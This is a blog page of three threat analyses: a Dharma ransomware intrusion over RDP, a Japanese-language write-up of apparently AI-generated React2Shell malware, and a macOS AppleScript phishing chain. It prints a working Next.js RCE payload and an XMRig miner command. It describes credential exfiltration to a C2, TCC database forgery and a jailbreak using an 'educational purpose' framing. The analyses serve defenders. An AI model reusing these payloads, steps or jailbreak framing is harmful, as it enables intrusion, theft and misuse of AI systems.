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May 5, 2020

The Ongoing Threat of Dharma Ransomware Attacks

Stay informed about the dangers of Dharma ransomware and its methods of attack, ensuring your defenses are strong against potential intrusions.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO
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05
May 2020

Executive summary

  • In the past few weeks, Darktrace has observed an increase in attacks against internet-facing systems, such as RDP. The initial intrusions usually take place via existing vulnerabilities or stolen, legitimate credentials. The Dharma ransomware attack described in this blog post is one such example.
  • Old threats can be damaging – Dharma and its variants have been around for four years. This is a classic example of ‘legacy’ ransomware morphing and adapting to bypass traditional defenses.
  • The intrusion shows signs that indicate the threat-actors are aware of – and are actively exploiting – the COVID-19 situation.
  • In the current threat landscape surrounding COVID-19, Darktrace recommends monitoring internet-facing systems and critical servers closely – keeping track of administrative credentials and carefully considering security when rapidly deploying internet-facing infrastructure.

Introduction

In mid-April, Darktrace detected a targeted Dharma ransomware attack on a UK company. The initial point of intrusion was via RDP – this represents a very common attack method of infection that Darktrace has observed in the broader threat landscape over the past few weeks.

This blog post highlights every stage of the attack lifecycle and details the attacker’s techniques, tools and procedures (TTP) – all detected by Darktrace.

Dharma – a varient of the CrySIS malware family – first appeared in 2016 and uses multiple intrusion vectors. It distributes its malware as an attachment in a spam email, by disguising it as an installation file for legitimate software, or by exploiting an open RDP connection through internet-facing servers. When Dharma has finished encrypting files, it drops a ransom note with the contact email address in the encrypted SMB files.

Darktrace had strong, real-time detections of the attack – however the absence of eyes on the user interface prior to the encryption activity, and without Autonomous Response deployed in Active Mode, these alerts were only actioned after the ransomware was unleashed. Fortunately, it was unable to spread within the organization, thanks to human intervention at the peak of the attack. However, Darktrace Antigena in active mode would have significantly slowed down the attack.

Timeline

The timeline below provides a rough overview of the major attack phases over five days of activity.

Figure 1: A timeline of the attack

Technical analysis

Darktrace detected that the main device hit by the attack was an internet-facing RDP server (‘RDP server’). Dharma used network-level encryption here: the ransomware activity takes place over the network protocol SMB.

Below is a chronological overview of all Darktrace detections that fired during this attack: Darktrace detected and reported every single unusual or suspicious event occurring on the RDP server.

Figure 2: An overview of Darktrace detections

Initial compromise

On April 7, the RDP server began receiving a large number of incoming connections from rare IP addresses on the internet.

On April 7, the RDP server began receiving a large number of incoming connections from rare IP addresses on the internet. This means a lot of IP addresses on the internet that usually don’t connect to this company started connection attempts over RDP. The top five cookies used to authenticate show that the source IPs were located in Russia, the Netherlands, Korea, the United States, and Germany.

It is highly likely that the RDP credential used in this attack had been compromised prior to the attack – either via common brute-force methods, credential stuffing attacks, or phishing. Indeed, a TTP growing in popularity is to buy RDP credentials on marketplaces and skip to initial access.

Attempted privilege escalation

The following day, the malicious actor abused the SMB version 1 protocol, notorious for always-on null sessions which offer unauthenticated users’ information about the machine – such as password policies, usernames, group names, machine names, user and host SIDs. What followed was very unusual: the server connected externally to a rare IP address located in Morocco.

Next, the attacker attempted a failed SMB session to the external IP over an unusual port. Darktrace detected this activity as highly anomalous, as it had previously learned that SMB is usually not used in this fashion within this organization – and certainly not for external communication over this port.

Figure 3: Darktrace detecting the rare external IP address

Figure 4: The SMB session failure and the rare connection over port 1047

Command and control traffic

As the entire attack occurred over five days, this aligns with a smash-and-grab approach, rather than a highly covert, low-and-slow operation.

Two hours later, the server initiated a large number of anomalous and rare connections to external destinations located in India, China, and Italy – amongst other destinations the server had never communicated with before. The attacker was now attempting to establish persistence and create stronger channels for command and control (C2). As the entire attack occurred over five days, this aligns with a smash-and-grab approach, rather than a highly covert, low-and-slow operation.

Actions on target

Notwithstanding this approach, the malicious actor remained dormant for two days, biding their time until April 10 — a public holiday in the UK — when security teams would be notably less responsive. This pause in activity provides supporting evidence that the attack was human-driven.

Figure 5: The unusual RDP connections detected by Darktrace

The RDP server then began receiving incoming remote desktop connections from 100% rare IP addresses located in the Netherlands, Latvia, and Poland.

Internal reconnaissance

The IP address 85.93.20[.]6, hosted at the time of investigation in Panama, made two connections to the server, using an administrative credential. On April 12, as other inbound RDP connections scanned the network, the volume of data transferred by the RDP server to this IP address spiked. The RDP server never scans the internal network. Darktrace identified this as highly unusual activity.

Figure 6: Darktrace detects the anomalous external data transfer

Lateral movement and payload execution

Finally, on April 12, the attackers executed the Dharma payload at 13:45. The RDP server wrote a number of files over the SMB protocol, appended with a file extension containing a throwaway email account possibly evoking the current COVID-19 pandemic, ‘cov2020@aol[.]com’. The use of string ‘…@aol.com].ROGER’ and presence of a file named ‘FILES ENCRYPTED.txt’ resembles previous Dharma compromises.

Parallel to the encryption activity, the ransomware tried to spread and infect other machines by initiating successful SMB authentications using the same administrator credential seen during the internal reconnaissance. However, the destination devices did not encrypt any files themselves.

It was during the encryption activity that the internal IT staff pulled the plug from the compromised RDP server, thus ending the ransomware activity.

Conclusion

This incident supports the idea that ‘legacy’ ransomware may morph to resurrect itself to exploit vulnerabilities in remote working infrastructure during this pandemic.

Dharma executed here a fast-acting, planned, targeted, ransomware attack. The attackers used off-the-shelf tools (RDP, abusing SMB1 protocol) blurring detection and attribution by blending in with typical administrator activity.

Darktrace detected every stage of the attack without having to depend on threat intelligence or rules and signatures, and the internal security team acted on the malicious activity to prevent further damage.

This incident supports the idea that ‘legacy’ ransomware may morph to resurrect itself to exploit vulnerabilities in remote working infrastructure during this pandemic. Poorly-secured public-facing systems have been rushed out and security is neglected as companies prioritize availability – sacrificing security in the process. Financially-motivated actors weaponize these weak points.

The use of the COVID-related email ‘cov2020@aol[.]com’ during the attack indicates that the threat-actor is aware of and abusing the current global pandemic.

Recent attacks, such as APT41’s exploitation of the Zoho Manage Engine vulnerability last March, show that attacks against internet-facing infrastructure are gaining popularity as the initial intrusion vector. Indeed, as many as 85% of ransomware attacks use RDP as an entry vector. Ensuring that backups are isolated, configurations are hardened, and systems are patched is not enough – real-time detection of every anomalous action can help protect potential victims of ransomware.

Technical Details

Some of the detections on the RDP server:

  • Compliance / Internet Facing RDP server – exposure of critical server to Internet
  • Anomalous Connection / Application Protocol on Uncommon Port – external connections using an unusual port to rare endpoints
  • Device / Large Number of Connections to New Endpoints – indicative of peer-to-peer or scanning activity
  • Compliance / Incoming Remote Desktop – device is remotely controlled from an external source, increased rick of bruteforce
  • Compromise / Ransomware / Suspicious SMB Activity – reading and writing similar volumes of data to remote file shares, indicative of files being overwritten and encrypted
  • Anomalous File / Internal / Additional Extension Appended to SMB File – device is renaming network share files with an added extension, seen during ransomware activity

The graph below shows the timeline of Darktrace detections on the RDP server. The attack lifecycle is clearly observable.

Figure 7: The model breaches occurring over time

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO

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February 12, 2026

AI/LLMで生成されたマルウェアを使ったReact2Shellエクスプロイト

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はじめに

敵対者の行動をリアルタイムに観測するため、ダークトレースは“CloudyPots” と呼ばれるグローバルなハニーポットネットワークを運用しています。CloudyPotsは幅広いサービス、プロトコル、クラウドプラットフォームに渡って悪意あるアクティビティを捕捉するように設計されています。こうしたハニーポットはインターネットに接続されているインフラを狙う脅威のテクニック、ツール、マルウェアについて貴重な情報を提供してくれます。

最近観測されたダークトレースのCloudypots環境に対する侵入インシデントは、React2Shell 脆弱性をエクスプロイトする完全にAI生成のマルウェアを明らかにしました、AI 支援ソフトウェア開発(“vibecoding”とも呼ばれます)が広く普及するにつれ、攻撃者はますます大規模言語モデルを使って迅速にツールを開発するようになっています。このインシデントは状況の大きな変化を表しています。AIによって、今では低スキルのオペレーターであっても効果的なエクスプロイトのフレームワークを短期間に作りだすことが可能となっているのです。このブログでは、攻撃チェーンを精査し、AI生成ペイロードを分析し、この変化が防御者にとって何を意味するかを解説します。

初期アクセス

ダークトレースのdockerハニーポットに対して侵入が観測されました。これは意図的にDockerデーモンを認証なしでインターネットに露出させています。この設定により任意の攻撃者がデーモンを発見しDocker APIを通じてコンテナを作成することが可能です。 

攻撃者は“python-metrics-collector”という名前のコンテナを生成しました。これにはcurl、wget、python 3を含む必要ツールを最初にインストールするスタートアップコマンドが設定されていました。

Container spawned with the name ‘python-metrics-collector’.
図1:‘python-metrics-collector’ という名前で生成されたコンテナ

次に、必要な一連のpythonパッケージを次からダウンロードします

  • hxxps://pastebin[.]com/raw/Cce6tjHM,

最後に次からpythonスクリプトをダウンロードして実行します

  • hxxps://smplu[.]link/dockerzero.

このリンクは“hackedyoulol”がホストするGitHub Gistにリダイレクトされますが、このアカウントは本ブログ執筆時点でGitHubから利用停止措置を受けています。

  • hxxps://gist.githubusercontent[.]com/hackedyoulol/141b28863cf639c0a0dd563344101f24/raw/07ddc6bb5edac4e9fe5be96e7ab60eda0f9376c3/gistfile1.txt

注目すべき点は、dockerを狙ったマルウェアであるにもかかわらずこのスクリプトにdockerスプレッダーが含まれていなかったことです。これは、感染の拡大が別に中央管理されたスプレッダーサーバーで処理されている可能性が高いことを示しています。

展開されたコンポーネントと実行チェーン

ダウンロードされたPythonペイロードは侵入のための中心的な実行コンポーネントでした。マルウェア自体が難読化設計となっており、エクスプロイトスクリプトと拡散メカニズムの間でこの難読化が強化されていました。dockerマルウェアには通常、自身のスプレッダーロジックが含まれているため、これが欠けているということは攻撃者が拡散専用のツールをリモートで管理し、実行していることを示唆しています。

スクリプトは複数行のコメントで始まっています:
"""
   Network Scanner with Exploitation Framework
   Educational/Research Purpose Only
   Docker-compatible: No external dependencies except requests
"""

これは非常に多くのことを語っています。当社が分析したサンプルのほとんどではファイル内にこのレベルのコメントは含まれていません。多くの場合それらは分析を阻害するために意図的に理解しにくく設計されています。人間のオペレーターが短時間に記述したスクリプトはたいていの場合わかりやすさよりもスピードと機能を優先しています。一方、LLMはすべてのコードに対して詳しくコメントを記録するよう設計されており、このサンプルにも繰り返しこのパターンが表れています。 さらに、AIはそのセーフガードの一環としてマルウェアの生成を拒否します。

さらに、“Educational/ResearchPurpose Only(教育/研究目的専用)” というフレーズが含まれていることは、攻撃者が悪意ある要求を教育目的と偽ることによって、AIモデルのジェイルブレイクを行ったことを示唆しています。

さらにスクリプトの一部をAI 検知ソフトウェアでテストしたところ、その出力結果はコードがおそらくLLMによって生成されているということを示していました。

GPTZero AI-detection results indicating that the script was likely generated using an AI model.
図2:GPTZeroによるAI検知の結果は、スクリプトがAIモデルを使って生成された可能性を示しています。

スクリプトはよくできたReact2Shellエクスプロイトツールキットであり、リモートコード実行を行いXMRig (Monero) 暗号通貨マイニングマルウェアを展開しようとするものです。 IP生成ループを使って標的を見つけだし、以下を含むエクスプロイトリクエストを実行します:

  • 念入りに構成されたNext.jsサーバーコンポーネントペイロード
  • 実行を強制しコマンド出力を明らかにするよう設計されたチャンク
  • 任意のシェルコマンドを実行する子プロセス起動

  def execute_rce_command(base_url, command, timeout=120):  
   """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE
   DO NOT MODIFY THIS FUNCTION
   Returns: (success, output)  
   """  
try: # Disable SSL warnings     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

 crafted_chunk = {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',
      "_response": {
          "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}', {{encoding: 'utf8', maxBuffer: 50 * 1024 * 1024, stdio: ['pipe', 'pipe', 'pipe']}}).toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
          "_formData": {
              "get": "$1:constructor:constructor",
          },
      },
  }

  files = {
      "0": (None, json.dumps(crafted_chunk)),
      "1": (None, '"$@0"'),
  }

  headers = {"Next-Action": "x"}

  res = requests.post(base_url, files=files, headers=headers, timeout=timeout, verify=False)

この関数は最初 ‘whoami’を使って起動され、ホストが脆弱かどうかを判断し、次にwgetを使ってGitHubレポジトリからXMRigをダウンロードし、設定されたマイニングツールとウォレットアドレスを指定してこれを起動します。

]\

WALLET = "45FizYc8eAcMAQetBjVCyeAs8M2ausJpUMLRGCGgLPEuJohTKeamMk6jVFRpX4x2MXHrJxwFdm3iPDufdSRv2agC5XjykhA"
XMRIG_VERSION = "6.21.0"
POOL_PORT_443 = "pool.supportxmr.com:443"
...
print_colored(f"[EXPLOIT] Starting miner on {identifier} (port 443)...", 'cyan')  
miner_cmd = f"nohup xmrig-{XMRIG_VERSION}/xmrig -o {POOL_PORT_443} -u {WALLET} -p {worker_name} --tls -B >/dev/null 2>&1 &"

success, _ = execute_rce_command(base_url, miner_cmd, timeout=10)

多くの攻撃者が気づいていないことは、Moneroでは不透明なブロックチェーン(トランザクションを追跡できずウォレット残高が閲覧できない)が使われているものの、supportxmr等のマイニングプールは各ウォレットのアドレスに対する統計情報を公開していることです。これによりキャンペーンの成功と攻撃者の利益を追跡することは簡単に行えます。

 The supportxmr mining pool overview for the attackers wallet address
図3:supportxmrマイニングツールに表示される攻撃者のウォレットアドレス概要

この情報に基づき、この攻撃者はキャンペーン開始以来0.015 XMRを得ましたがこれは本ブログ執筆時点で5ポンド程度です。1日あたり、攻撃者は0.004 XMRを生成しており、これは1.33ポンドの価値です。ワーカー数は91であり、91のホストがこのサンプルに感染していることを意味しています。

まとめ

攻撃者が生成した金額はこのケースでは比較的少額であり、暗号通貨マイニングは新しいテクニックとは言えませんが、このキャンペーンはAIベースのLLMがサイバー犯罪を容易にした実例です。モデルとの1度のプロンプトセッションで、この攻撃者は機能するエクスプロイトフレームワークを生成し、90以上のホストを侵害することができています。これはAIベースのLLMによってサイバー犯罪がこれまで以上に簡単になったことを実証しており、攻撃者にとってのAIのオペレーション上の価値は過小評価されるべきではないことを示しています。

CISOおよびSOCのリーダーは、このインシデントを近い将来起こり得ることとして想定すべきです。脅威アクターは、今やオンデマンドでカスタムマルウェアを生成し、エクスプロイトを即座に改変し、侵害のすべての段階を自動化することができます。防御者は、迅速なパッチ適用、継続的なアタックサーフェスの監視、およびビヘイビアベースの検知アプローチを優先的に進める必要があります。AI 生成されたマルウェアはもはや理論上のものではなく、実際に運用されており、スケーラブルで、誰でもアクセスできるものなのです。

アナリストのコメント

ダウンロードされたスクリプトにDockerスプレッダーが含まれていないように見えることが注目に値します。これはこのマルウェアが感染したホストから他の被害者に複製されないことを意味しています。これはダークトレースの調査チームが分析した他のサンプルと比較して、Dockerマルウェアではあまりないことです。これは拡散のための別のスクリプトがあることを示しており、おそらく攻撃者が中央のスプレッダーサーバーから展開するものと思われます。この推論は接続を開始したIP、49[.]36.33.11が、インドの一般住宅用ISPに登録されていることからも成り立ちます。攻撃者が住宅用プロキシサーバーを使って形跡を隠している可能性もありますが、彼らの自宅のコンピューターから拡散用スクリプトを実行していることも考えられます。しかしこれは確認済みのアトリビューションと理解するべきではありません。

担当:Nathaniel Bill (Malware Research Engineer)、Nathaniel Jones (Nathaniel Jones, VP Threat Research | Field CISO AISecurity)

侵害インジケータ(IoC)

Spreader IP - 49[.]36.33.11
Malware host domain - smplu[.]link
Hash - 594ba70692730a7086ca0ce21ef37ebfc0fd1b0920e72ae23eff00935c48f15b
Hash 2 - d57dda6d9f9ab459ef5cc5105551f5c2061979f082e0c662f68e8c4c343d667d

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About the author
Nathaniel Bill
Malware Research Engineer

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February 9, 2026

AppleScript Abuse: Unpacking a macOS Phishing Campaign

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Introduction

Darktrace security researchers have identified a campaign targeting macOS users through a multistage malware campaign that leverages social engineering and attempted abuse of the macOS Transparency, Consent and Control (TCC) privacy feature.

The malware establishes persistence via LaunchAgents and deploys a modular Node.js loader capable of executing binaries delivered from a remote command-and-control (C2) server.

Due to increased built-in security mechanisms in macOS such as System Integrity Protection (SIP) and Gatekeeper, threat actors increasingly rely on alternative techniques, including fake software and ClickFix attacks [1] [2]. As a result, macOS threats r[NJ1] ely more heavily on social engineering instead of vulnerability exploitation to deliver payloads, a trend Darktrace has observed across the threat landscape [3].

Technical analysis

The infection chain starts with a phishing email that prompts the user to download an AppleScript file named “Confirmation_Token_Vesting.docx.scpt”, which attemps to masquerade as a legitimate Microsoft document.

The AppleScript header prompting execution of the script.
Figure 1: The AppleScript header prompting execution of the script.

Once the user opens the AppleScript file, they are presented with a prompt instructing them to run the script, supposedly due to “compatibility issues”. This prompt is necessary as AppleScript requires user interaction to execute the script, preventing it from running automatically. To further conceal its intent, the malicious part of the script is buried below many empty lines, assuming a user likely will not to the end of the file where the malicious code is placed.

Curl request to receive the next stage.
Figure 2: Curl request to receive the next stage.

This part of the script builds a silent curl request to “sevrrhst[.]com”, sending the user’s macOS operating system, CPU type and language. This request retrieves another script, which is saved as a hidden file at in ~/.ex.scpt, executed, and then deleted.

The retrieved payload is another AppleScript designed to steal credentials and retrieve additional payloads. It begins by loading the AppKit framework, which enables the script to create a fake dialog box prompting the user to enter their system username and password [4].

 Fake dialog prompt for system password.
Figure 3: Fake dialog prompt for system password.

The script then validates the username and password using the command "dscl /Search -authonly <username> <password>", all while displaying a fake progress bar to the user. If validation fails, the dialog window shakes suggesting an incorrect password and prompting the user to try again. The username and password are then encoded in Base64 and sent to: https://sevrrhst[.]com/css/controller.php?req=contact&ac=<user>&qd=<pass>.

Figure 4: Requirements gathered on trusted binary.

Within the getCSReq() function, the script chooses from trusted Mac applications: Finder, Terminal, Script Editor, osascript, and bash. Using the codesign command codesign -d --requirements, it extracts the designated code-signing requirement from the target application. If a valid requirement cannot be retrieved, that binary is skipped. Once a designated requirement is gathered, it is then compiled into a binary trust object using the Code Signing Requirement command (csreq). This trust object is then converted into hex so it can later be injected into the TCC SQLite database.[NB2]

To bypass integrity checks, the TCC directory is renamed to com.appled.tcc using Finder. TCC is a macOS privacy framework designed to restrict application access to sensitive data, requiring users to explicitly grant permissions before apps can access items such as files, contacts, and system resources [1].

Example of how users interact with TCC.
Figure 5: TCC directory renamed to com.appled.TCC.
Figure 6: Example of how users interact with TCC.

After the database directory rename is attempted, the killall command is used on the tccd daemon to force macOS to release the lock on the database. The database is then injected with the forged access records, including the service, trusted binary path, auth_value, and the forged csreq binary. The directory is renamed back to com.apple.TCC, allowing the injected entries to be read and the permissions to be accepted. This enables persistence authorization for:

  • Full disk access
  • Screen recording
  • Accessibility
  • Camera
  • Apple Events 
  • Input monitoring

The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions.

Although the malware is attempting to manipulate TCC state via Finder, a trusted system component, Apple has introduced updates in recent macOS versions that move much of the authorization enforcement into the tccd daemon. These updates prevent unauthorized permission modifications through directory or database manipulation. As a result, the script may still succeed on some older operating systems, but it is likely to fail on newer installations, as tcc.db reloads now have more integrity checks and will fail on Mobile Device Management (MDM) [NB5] systems as their profiles override TCC.

 Snippet of decoded Base64 response.
Figure 7: Snippet of decoded Base64 response.

A request is made to the C2, which retrieves and executes a Base64-encoded script. This script retrieves additional payloads based on the system architecture and stores them inside a directory it creates named ~/.nodes. A series of requests are then made to sevrrhst[.]com for:

/controller.php?req=instd

/controller.php?req=tell

/controller.php?req=skip

These return a node archive, bundled Node.js binary, and a JavaScript payload. The JavaScript file, index.js, is a loader that profiles the system and sends the data to the C2. The script identified the system platform, whether macOS, Linux or Windows, and then gathers OS version, CPU details, memory usage, disk layout, network interfaces, and running process. This is sent to https://sevrrhst[.]com/inc/register.php?req=init as a JSON object. The victim system is then registered with the C2 and will receive a Base64-encoded response.

LaunchAgent patterns to be replaced with victim information.
Figure 8: LaunchAgent patterns to be replaced with victim information.

The Base64-encoded response decodes to an additional Javacript that is used to set up persistence. The script creates a folder named com.apple.commonjs in ~/Library and copies the Node dependencies into this directory. From the C2, the files package.json and default.js are retrieved and placed into the com.apple.commonjs folder. A LaunchAgent .plist is also downloaded into the LaunchAgents directory to ensure the malware automatically starts. The .plist launches node and default.js on load, and uses output logging to log errors and outputs.

Default.js is Base64 encoded JavaScript that functions as a command loop, periodically sending logs to the C2, and checking for new payloads to execute. This gives threat actors ongoing and the ability to dynamically modify behavior without having to redeploy the malware. A further Base64-encoded JavaScript file is downloaded as addon.js.

Addon.js is used as the final payload loader, retrieving a Base64-encoded binary from https://sevrrhst[.]com/inc/register.php?req=next. The binary is decoded from Base64 and written to disk as “node_addon”, and executed silently in the background. At the time of analysis, the C2 did not return a binary, possibly because certain conditions were not met.  However, this mechanism enables the delivery and execution of payloads. If the initial TCC abuse were successful, this payload could access protected resources such as Screen Capture and Camera without triggering a consent prompt, due to the previously established trust.

Conclusion

This campaign shows how a malicious threat actor can use an AppleScript loader to exploit user trust and manipulate TCC authorization mechanisms, achieving persistent access to a target network without exploiting vulnerabilities.

Although recent macOS versions include safeguards against this type of TCC abuse, users should keep their systems fully updated to ensure the most up to date protections.  These findings also highlight the intentions of threat actors when developing malware, even when their implementation is imperfect.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

88.119.171[.]59

sevrrhst[.]com

https://sevrrhst[.]com/inc/register.php?req=next

https://stomcs[.]com/inc/register.php?req=next
https://techcross-es[.]com

Confirmation_Token_Vesting.docx.scpt - d3539d71a12fe640f3af8d6fb4c680fd

EDD_Questionnaire_Individual_Blank_Form.docx.scpt - 94b7392133935d2034b8169b9ce50764

Investor Profile (Japan-based) - Shiro Arai.pdf.scpt - 319d905b83bf9856b84340493c828a0c

MITRE ATTACK

T1566 - Phishing

T1059.002 - Command and Scripting Interpreter: Applescript

T1059.004 – Command and Scripting Interpreter: Unix Shell

T1059.007 – Command and Scripting Interpreter: JavaScript

T1222.002 – File and Directory Permissions Modification

T1036.005 – Masquerading: Match Legitimate Name or Location

T1140 – Deobfuscate/Decode Files or Information

T1547.001 – Boot or Logon Autostart Execution: Launch Agent

T1553.006 – Subvert Trust Controls: Code Signing Policy Modification

T1082 – System Information Discovery

T1057 – Process Discovery

T1105 – Ingress Tool Transfer

References

[1] https://www.darktrace.com/blog/from-the-depths-analyzing-the-cthulhu-stealer-malware-for-macos

[2] https://www.darktrace.com/blog/unpacking-clickfix-darktraces-detection-of-a-prolific-social-engineering-tactic

[3] https://www.darktrace.com/blog/crypto-wallets-continue-to-be-drained-in-elaborate-social-media-scam

[4] https://developer.apple.com/documentation/appkit

[5] https://www.huntress.com/blog/full-transparency-controlling-apples-tcc

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About the author
Tara Gould
Malware Research Lead
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